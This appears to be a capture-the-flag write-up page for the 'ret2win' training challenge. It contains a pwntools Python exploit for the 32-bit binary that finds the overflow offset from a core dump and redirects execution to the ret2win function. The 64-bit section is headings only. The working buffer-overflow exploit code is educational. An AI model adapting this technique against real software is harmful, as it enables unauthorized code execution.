ret2win
ret2win 32bit
Solution
Exploit
#!/usr/bin/env python3
from pwn import *
#--------Setup--------#
context(arch="i386", os="linux")
elf = ELF("ret2win32", checksec=False)
#--------Offset--------#
p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.eip)
log.info(f"{offset = }")
#--------ret2text--------#
ret2win = elf.sym["ret2win"]
payload = flat(
b"A" * offset,
ret2win,
)
p = elf.process()
p.sendlineafter("> ", payload)
p.interactive()ret2win 64bit
Solution
Exploit
Last updated